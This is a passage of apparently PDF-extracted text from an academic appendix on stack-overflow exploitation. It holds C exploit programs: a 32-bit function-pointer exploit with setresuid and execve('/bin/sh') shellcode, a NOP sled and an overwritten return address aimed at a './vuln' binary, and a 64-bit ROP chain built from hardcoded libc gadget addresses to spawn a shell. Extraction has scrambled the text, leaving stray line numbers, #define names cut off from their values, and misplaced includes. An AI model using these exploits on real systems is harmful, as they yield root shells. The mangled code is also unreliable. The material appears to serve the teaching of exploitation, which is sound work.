126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 /* shellcode */ i += 8; memcpy ( pbuf + i , shellcode , sizeof ( shellcode ) - 1); /* change shell fake eip */ *( unsigned int *)( pbuf + 4) = offset + 30; /* change shell fake ebp */ pbuf [ BUFFER_SIZE ] = ( unsigned char ) offset ; strcat (cmd , "" ); system ( cmd ); return 0; } /************* Exploit 3 - function pointer (32 bits) ************/ #include #include #include #include < stdio .h > < stdlib .h > < string .h > < strings .h > 136 200 \x90

#define BUFFER_SIZE #define CMD_SIZE #define NOP

char shellcode [] = /* setresuid(0, 0, 0) */ "\x31\xC0" /* xor eax,eax */ "\x31\xDB" /* xor ebx,ebx */ "\x31\xC9" /* xor ecx,ecx */ "\x31\xD2" /* xor edx,edx */ "\xB0\xA4" /* mov al,0xa4 */ "\xCD\x80" /* int 0x80 */ /* execve("/bin/sh\0", 0, 0) */ "\x31\xC0" /* xor eax,eax */ "\x50" /* push eax */ "\x68\x2F\x2F\x73\x68" /* push "hs//" */ "\x68\x2F\x62\x69\x6E" /* push "nib/" */ "\x89\xE3" /* mov ebx,esp */ "\xB0\x0B" /* mov al,0xb */

81
169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 "\xCD\x80" /* exit(0) */ "\xB0\x01" "\xCD\x80" ; int main ( int argc , char * argv []) { char cmd [ CMD_SIZE ]; char * pbuf ; int i; unsigned int offset ; bzero (cmd , CMD_SIZE ); pbuf = cmd + 8; offset = ( unsigned int ) cmd ; if ( argc > 1) offset += atoi ( argv [1]); strcpy (cmd , "./vuln " ); /* ./vuln [ nop | shellcode | ptr fct ]*/ /* return address */ for (i = 0; i < BUFFER_SIZE ; i += sizeof ( unsigned int )) *( unsigned int *)( pbuf + i) = offset ; /* nop sled */ memset ( pbuf , NOP , 60); /* shellcode */ memcpy ( pbuf + 60 , shellcode , sizeof ( shellcode ) - 1); strcat (cmd , "" ); system ( cmd ); return 0; } /******** Exploit 4 - functions return address (64 bits) ********/ #include < unistd .h > #include < string .h > /* int 0x80 */

/* mov al,0x1*/ /* int 0x80 */

82
212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 #include < stdio .h > #include < stdlib .h > /* * * * * * * * * * * * * * * * */

<execle+331> <clock+125> rdx = 0 <opendir+59> r15 r14 r13 r12 = 0 <execle+367> r15 /bin/sh = r14 r13 <clnt_broadcast+1492> = r12 rbp fdin | fdout

#define SIZEOF_BUFFER #define #define #define #define #define #define FD_START GET_RDI GET_R12 GET_RDX GET_RAX GET_RSI

4240 4120 ( FD_START + 16) ( GET_RDI + 32) ( GET_R12 + 40) ( GET_RDX + 16) ( GET_RAX + 8)

int main () { char fake_stack [ SIZEOF_BUFFER ]; char * pbuf = fake_stack ; char shellname [] = "/bin/sh" ; strcpy ( pbuf , shellname ); /* * Overwriting nbr, nbw and off doesnt work, because * program will change that variables during its execution. */ memset ( pbuf + 8, 0, 8);

83
255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 } /* File descriptors, in order: fdin and fdout. */ *( unsigned long *)( pbuf + FD_START ) = 0 x0000000100000000UL ; /* * Used addresses here are of common user, not root. Only * for tests to create a shell. */ /* * set shell name address into register rdi * (goto <clnt_broadcast+1492>). */ *( unsigned long *)( pbuf + GET_RDI ) = 0 x00007ffff7b6bbd4UL ; strcpy ( pbuf + GET_RDI + 16 , shellname ); /* goto <execle+367> (fill r12) */ *( unsigned long *)( pbuf + GET_R12 ) = 0 x00007ffff7b0382fUL ; *( unsigned long *)( pbuf + GET_R12 + 8) = 0 UL ; /* goto <opendir+59> (fill rdx) */ *( unsigned long *)( pbuf + GET_RDX ) = 0 x00007ffff7afef1bUL ; *( unsigned long *)( pbuf + GET_RDX + 8) = 0 UL ; /* goto <clock+125> (fill rax) */ *( unsigned long *)( pbuf + GET_RAX ) = 0 x00007ffff7af206dUL ; /* goto <execle+331> (fill rsi e call execve) */ *( unsigned long *)( pbuf + GET_RSI ) = 0 x00007ffff7b0380bUL ; write (1 , fake_stack , sizeof ( fake_stack )); return 0;

Você também pode gostar